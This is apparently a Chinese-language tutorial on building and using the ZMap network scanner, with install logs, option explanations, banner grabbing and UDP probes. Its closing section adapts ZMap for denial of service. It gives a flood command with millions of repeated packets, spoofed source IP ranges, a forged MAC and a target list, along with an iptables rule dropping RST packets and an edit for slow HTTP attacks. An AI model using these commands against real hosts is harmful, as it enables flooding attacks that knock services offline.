1.example:
22端口扫描:
zmap -p 22 -o results1.csv 192.168.0.0/16
-p 指定端口,-o 指定输出文件
2.安装方法:
第一步:sudo apt-get install build-essential cmake libgmp3-dev libpcap-dev gengetopt byacc flex git dwarfdump (gengetopt 包必须安装,没有安装make会报错。)
正在读取软件包列表... 完成
正在分析软件包的依赖关系树
正在读取状态信息... 完成
下列软件包是自动安装的并且现在不需要了:
baobab caribou caribou-antler dnsmasq-base empathy empathy-common
fonts-cantarell gcalctool gdm3 gnome-backgrounds gnome-dictionary
gnome-disk-utility gnome-font-viewer gnome-icon-theme-extras
gnome-packagekit gnome-packagekit-data gnome-screenshot gnome-system-log
gucharmap libavahi-gobject0 libavahi-ui-gtk3-0 libcaribou-gtk-module
libcaribou-gtk3-module libchamplain-0.12-0 libchamplain-gtk-0.12-0
libgdict-1.0-6 libgdict-common libgdu-gtk0 libgeocode-glib0 libjim0debian2
libmozjs22d libmozjs24d libnl-route-3-200 libtelepathy-farstream2
libunique-3.0-0 libwireshark2 libwiretap2 libwsutil2
mobile-broadband-provider-info modemmanager nautilus-sendto-empathy
network-manager network-manager-gnome sound-theme-freedesktop
telepathy-gabble telepathy-logger telepathy-salut usb-modeswitch
usb-modeswitch-data vino wpasupplicant xulrunner-22.0 xulrunner-24.0
Use 'apt-get autoremove' to remove them.
将会安装下列额外的软件包:
libgmp-dev libgmpxx4ldbl libpcap0.8-dev
建议安装的软件包:
libgmp10-doc libmpfr-dev
下列【新】软件包将被安装:
gengetopt libgmp-dev libgmp3-dev libgmpxx4ldbl libpcap-dev libpcap0.8-dev
升级了 0 个软件包,新安装了 6 个软件包,要卸载 0 个软件包,有 15 个软件包未被升级。
需要下载 1,253 kB 的软件包。
解压缩后会消耗掉 3,444 kB 的额外空间。
您希望继续执行吗?[Y/n]Y
获取:1 http://mirror.nus.edu.sg/kali/kali/ kali/main libgmpxx4ldbl amd64 2:5.0.5+dfsg-2 [21.6 kB]
获取:2 http://mirror.nus.edu.sg/kali/kali/ kali/main gengetopt amd64 2.22.5-1 [322 kB]
获取:3 http://mirror.nus.edu.sg/kali/kali/ kali/main libgmp-dev amd64 2:5.0.5+dfsg-2 [610 kB]
获取:4 http://mirror.nus.edu.sg/kali/kali/ kali/main libgmp-dev amd64 2:5.0.5+dfsg-2 [610 kB]
获取:5 http://mirror.nus.edu.sg/kali/kali/ kali/main libgmp3-dev amd64 2:5.0.5+dfsg-2 [13.7 kB]
获取:6 http://mirror.nus.edu.sg/kali/kali/ kali/main libpcap0.8-dev amd64 1.3.0-1 [264 kB]
获取:7 http://mirror.nus.edu.sg/kali/kali/ kali/main libpcap-dev all 1.3.0-1 [22.2 kB]
第二步:
git clone git://github.com/zmap/zmap.git
root@kali:~# git clone git://github.com/zmap/zmap.git
正克隆到 'zmap'...
remote: Counting objects: 2935, done.
remote: Compressing objects: 100% (29/29), done.
remote: Total 2935 (delta 13), reused 0 (delta 0)
Receiving objects: 100% (2935/2935), 868.00 KiB | 141 KiB/s, done.
Resolving deltas: 100% (1934/1934), done.
第三步:cd zmap/
root@kali:~# cd zmap/
root@kali:~/zmap# ls
10gigE.md CHANGELOG conf INSTALL LICENSE src
AUTHORS CMakeLists.txt examples lib README test
第四步:cmake -DENABLE_HARDENING=ON
root@kali:~/zmap# cmake -DENABLE_HARDENING=ON
-- The C compiler identification is GNU 4.7.2
-- Check for working C compiler: /usr/bin/gcc
-- Check for working C compiler: /usr/bin/gcc -- works
-- Detecting C compiler ABI info
-- Detecting C compiler ABI info - done
-- Configuring done
-- Generating done
CMake Warning:
Manually-specified variables were not used by the project:
ENABLE_HARDENING (正常现象)
-- Build files have been written to: /root/zmap
第五步:make
root@kali:~/zmap# make
[ 2%] Generating parser.c
[ 5%] Generating zopt.h
[ 7%] Generating lexer.c
Scanning dependencies of target zmap
[ 10%] Building C object src/CMakeFiles/zmap.dir/aesrand.c.o
[ 12%] Building C object src/CMakeFiles/zmap.dir/cyclic.c.o
[ 15%] Building C object src/CMakeFiles/zmap.dir/expression.c.o
[ 17%] Building C object src/CMakeFiles/zmap.dir/fieldset.c.o
[ 20%] Building C object src/CMakeFiles/zmap.dir/filter.c.o
[ 22%] Building C object src/CMakeFiles/zmap.dir/get_gateway.c.o
[ 25%] Building C object src/CMakeFiles/zmap.dir/iterator.c.o
[ 27%] Building C object src/CMakeFiles/zmap.dir/monitor.c.o
[ 30%] Building C object src/CMakeFiles/zmap.dir/recv.c.o
[ 32%] Building C object src/CMakeFiles/zmap.dir/send.c.o
[ 35%] Building C object src/CMakeFiles/zmap.dir/shard.c.o
[ 37%] Building C object src/CMakeFiles/zmap.dir/socket.c.o
[ 40%] Building C object src/CMakeFiles/zmap.dir/state.c.o
[ 42%] Building C object src/CMakeFiles/zmap.dir/summary.c.o
[ 45%] Building C object src/CMakeFiles/zmap.dir/validate.c.o
[ 47%] Building C object src/CMakeFiles/zmap.dir/zmap.c.o
[ 50%] Building C object src/CMakeFiles/zmap.dir/zopt_compat.c.o
[ 52%] Building C object src/CMakeFiles/zmap.dir/lexer.c.o
[ 55%] Building C object src/CMakeFiles/zmap.dir/parser.c.o
[ 57%] Building C object src/CMakeFiles/zmap.dir/probe_modules/module_icmp_echo.c.o
[ 60%] Building C object src/CMakeFiles/zmap.dir/probe_modules/module_tcp_synscan.c.o
[ 62%] Building C object src/CMakeFiles/zmap.dir/probe_modules/module_udp.c.o
[ 65%] Building C object src/CMakeFiles/zmap.dir/probe_modules/packet.c.o
[ 67%] Building C object src/CMakeFiles/zmap.dir/probe_modules/probe_modules.c.o
[ 70%] Building C object src/CMakeFiles/zmap.dir/output_modules/module_csv.c.o
[ 72%] Building C object src/CMakeFiles/zmap.dir/output_modules/output_modules.c.o
[ 75%] Building C object src/CMakeFiles/zmap.dir/__/lib/blacklist.c.o
[ 77%] Building C object src/CMakeFiles/zmap.dir/__/lib/constraint.c.o
[ 80%] Building C object src/CMakeFiles/zmap.dir/__/lib/logger.c.o
[ 82%] Building C object src/CMakeFiles/zmap.dir/__/lib/pbm.c.o
[ 85%] Building C object src/CMakeFiles/zmap.dir/__/lib/random.c.o
[ 87%] Building C object src/CMakeFiles/zmap.dir/__/lib/rijndael-alg-fst.c.o
[ 90%] Building C object src/CMakeFiles/zmap.dir/__/lib/xalloc.c.o
[ 92%] Building C object src/CMakeFiles/zmap.dir/__/lib/lockfd.c.o
[ 95%] Building C object src/CMakeFiles/zmap.dir/__/lib/util.c.o
[ 97%] Building C object src/CMakeFiles/zmap.dir/socket-linux.c.o
[100%] Building C object src/CMakeFiles/zmap.dir/recv-pcap.c.o
Linking C executable zmap
[100%] Built target zmap
第六步:make install
原文链接:
安装完后,可直接调用zmap
zmap -B 10M -p 80 -n 100000 -o results.txt
-B 是指的是带宽 -p 端口 -n 扫描多少个目标 -o 输出结果
整句表示利用10M带宽扫描100000IP地址的端口,并将结果输出到results.txt中。
我BT5 R3 测试时,必须加入-G 参数
zmap -B 10M -p 80 -n 100000 -G "01:00:5e:00:00:02" -o results.txt
-G 是指定出口的mac地址,必须为网关的实际mac地址,否则返回数据找不到信息。
如果扫到IP地址开了80端口,就会按照下列格式进行保存。
115.237.116.119 23.9.117.80 207.118.204.141 217.120.143.111
zmap -p 443 -G "00:00:00:00:00:00"
检测全网络SSL/STL使用状况,ZMAP几个研究项目都与此有关。
可见我使用的扫描全网的所得大约9小时16分钟,网络为10MADSL带宽,ADSL上行速度只有100k左右,导致时间加倍延迟。
-p, --target-port=port
指定扫描的目标端口
-o, --output-file=name
把结果写入指定文件 -o result.txt
-b, --blacklist-file=path
IP地址黑名单,例如192.168.0.0/16 表示 192.168.x.x将不被扫描,默认提供一份 RFC 1918保留和内网地址供参考,存放位置在conf/blacklist.conf
zmap -p 443 -G "00:00:00:00:00:00" -b conf/blacklist.conf -n, --max-targets=n
最大扫描IP地址数量,-n 100 表示总归扫描100个IP地址。也可指定 �Cn 0.1%形式,表示扫描除去黑名单列表里面全网段的0.1%数量的IP地址。
-N, --max-results=n
最大扫描到结果的IP数量,-N 100 表示扫描到100个存在的结果就停止。
-t, --max-runtime=secs
最大扫描时间,-t 10 表示程序运行10s结束。
-r, --rate=pps
设置每秒发送包的数量 �Cr 10000 表示每秒发送10k个包。
-B, --bandwidth=bps
设置每秒发送包的大小,-B 10M 表示每秒发送10Mbps 支持单位(GMK)。
-c, --cooldown-time=secs
设置数据包发送完之后多长时间开始接受数据(response),默认8s,TCP连接异步接受。
-e, --seed=n
设置扫描随机地址的顺序,C语言中的伪随机种子,指定 定值每次随机扫描的IP地址顺序是一样。
-T, --sender-threads=n
设置扫描线程。默认是1,经测试单线程基本是把网络带宽充分利用。
-P, --probes=n
设置往每个IP发送包的数量,默认为1。(DDOS的参数之一)。
-d, --dryrun
打印出每个包的内容,非常实用的功能。
-s, --source-port=port|range
设置扫描的源端口,可指定范围 �Cs 30000-50000。(DDOS的参数之一)。
-S, --source-ip=ip|range
设置扫描的源IP地址,可指定范围-S 100.100.0.1-200.200.200.200(DDOS的参数之一)。
-G, --gateway-mac=addr
设置网关的mac地址,可伪造。(DDOS的参数之一)
-M, --probe-module=name
设置扫描模式,参数tcp_synscan(默认),icmp_echoscan(ping扫描),udp(测试速度要逊于前两个),这里可自定义自己的模块,ZMAP作者后续会增加例如自定义UDP payload 的选项。(`*udp_send_msg = “GET / HTTP/1.1
“; // Must be null-terminated`)源码里不可直接更改 (1.0.3版本加入UDP Data Probes可进行自定义)
-O, --output-module=name
设置结果输出模块,参数simple_file(默认),extended_file。
Simple_file 模式如下
115.237.116.119 23.9.117.80 207.118.204.141 217.120.143.111
Extended File模式如下
response, saddr, daddr, sport, dport, seq, ack, in_cooldown, is_repeat, timestamp synack, 159.174.153.144, 10.0.0.9, 80, 40555, 3050964427, 3515084203, 0, 0,2013-08-15 18:55:47.681
扫描模块和输出模块都提供了API ,可自己根据需要添加功能。
--quiet
安静状态下运行,不把进度信息打印到屏幕上
--summary
输出结果汇总,对研究人员来说 非常有帮助。
抓取指纹,简言之抓取response 为识别类似SSH,http 401之类的信息做准备。
这里 examples / banner-grab 目录下
首先 make 生成banner-grab-tcp
向http-req 文件写入要发送的数据 (也可以自定义SSH-req 之类)
如:
echo -e -n "GET / HTTP/1.1 Host: %s " > http-req
(%s 保留,其他可任意构造HTTP请求,包括GET,POST)
这里扩展下 banner-grab-tcp下的参数
-c, --concurent 每次的连接数,最好低于1000,想要高于1000则必须设置ulimit -SSn 1000000` and `ulimit -SHn 1000000` 突破每个文件最大进程数1024 -p, --port 连接的端口 -t, --conn-timeout 连接超时时间 -r, --read-timeout 响应超时时间 -v, --verbosity 列取信息详细程度 ,与sqlmap 类似 -f, --format 输出文件格式hex,ascii,base64 -d, --data 发送的数据信息 就是前面设置http-req
源码里 #define MAX_BANNER_LEN 1024 接收的每条返回数据,只接收1024字节,根据需要可自行更改。
例子
zmap -p 80 -N 1000 -o - | ./banner-grab-tcp -p 80 -c 100 -d http-req > http-banners.out
zmap扫描1000个80端口开放的IP地址,banner-grab-tcp 来扫描这些IP地址,扫描请求内容通过http-req可自定义 .
与Banner Grab功能一样,参数也类似,不再重复。
主要是安装方式不同
要先安装下列驱动
git clone [email protected]:ewust/forge_socket.git cd forge_socket make sudo insmod forge_socket.ko(以底层驱动方式 比Banner Grab效率高一些)
并且用iptables阻止发rst包
iptables -A OUTPUT -p tcp -m tcp --tcp-flags RST,RST RST,RST -j DROP
1.03版本加入
详细的测试payload见
https://github.com/zmap/zmap/tree/master/examples/udp-probes
以探测mssql的1434端口为例:
zmap -M udp -p 1434 --probe-args=file:examples/udp-probes/mssql_1434.pkt
pkt也可自行构造。
格式化配置
利用配置文件 简化命令行输入
interface "eth1" source-ip 1.1.1.4-1.1.1.8 gateway-mac b4:23:f9:28:fa:2d # upstream gateway cooldown-time 300 # seconds blacklist-file /etc/zmap/blacklist.conf output-file ~/zmap-output quiet summary
上述指令上面全部有介绍。
很显然,可以通过配置文件更快速配置zmap.
使用方法:
zmap --config=~/.zmap.conf --target-port=443
Know it
首先讲下TCP三次握手。
在TCP/IP协议中,TCP协议提供可靠的连接服务,采用三次握手建立一个连接。
可见三次握手存在于发送-应答-发送机制,等待监听的时间势必导致发包速度很慢。
这里zmap是发送SYN,随后发送RST(重置连接),不存在监听同步操作,清空连接,再继续发下一个数据包。 而对于识别 zmap把 Ip地址和端口做了类似hash表一样的映射,当数据包返回时(可能是Syn+Ack,也可能RST),取出返回数据包里Ip和端口地址进行储存的hash表里查询,并对应处理记录。 同步变异步高效的基本原因。
DDoS的可行性:
作者旨在关注全网的扫描,并未提及相关DDoS 的信息。
也并未特别提供指向型发包的指令。
下面讨论可能与作者想法相违,希望各位重在技术钻研,而非一些恶意破坏。
指定ip段 和ip地址
-w, --whitelist-file=path
限制只扫描文件中的下列地址或者地址段,例如:
222.222.221.82/24 (192.168.1.0-255 )(可利用种子 �Cseed 调整从那个IP开始)
单个Ip地址
222.222.221.82/32 (随机找了一个,这里1.02版本测试不能直接,需要改 blacklist.c和constraint.c 中生成IP地址的二叉树的root节点一小部分代码)
然后利用
-P 10000000 (重复多次发包) -s 2000-60000 (设置一个大的端口段) -S 20.20.20.0-200.200.200.200(随机大量Ip地址,模拟分布式的D) -G 这个伪造mac (但是收不到数据包) Zmap �Cp 80 -P 10000000 -s 2000-60000 -S 20.20.20.0-200.200.200.200 -w attack_url.txt
见下列发送的数据效果,达到预期
可能造成什么样的危害?
可以配置IP Spoofing,syn flood,land attack, ICMP floods, Application floods 和其他UDP 全零等多种攻击。
Zmap 的发包速度甚至可以忽略一下 随后发的这个rst 包。
也可以做得完美一点就是利用iptables
iptables -A OUTPUT -p tcp -m tcp --tcp-flags RST,RST RST,RST -j DROP
把发出去的RST包给drop掉。
毕竟有部分扩展能控制到应用层也是可以进行慢攻击。
Get 类型
echo -e -n "GET / HTTP/1.1\r\nHost: %s\r\n\r\n" > http-req 替换成 echo -e -n "GET / HTTP/1.1\r\nHost: %s\r\n\ " > http-req
Post 类型
可以把源码sizeof(value) 的值设置一个大的动态数值。 Post数据设置很小。
Ps :
Zmap 某些方面和python 的scapy很像。
但zmap 纯C实现,比scapy效率要高一些。
以前老是纠结scapy 随后发送RST 问题,这里利用iptables 方式确实是个好方法。
参考其中的源码和相对规范的API接口,编写一些模块可以玩出很多花样。
LINK:
https://zmap.io/documentation.html
https://github.com/zmap/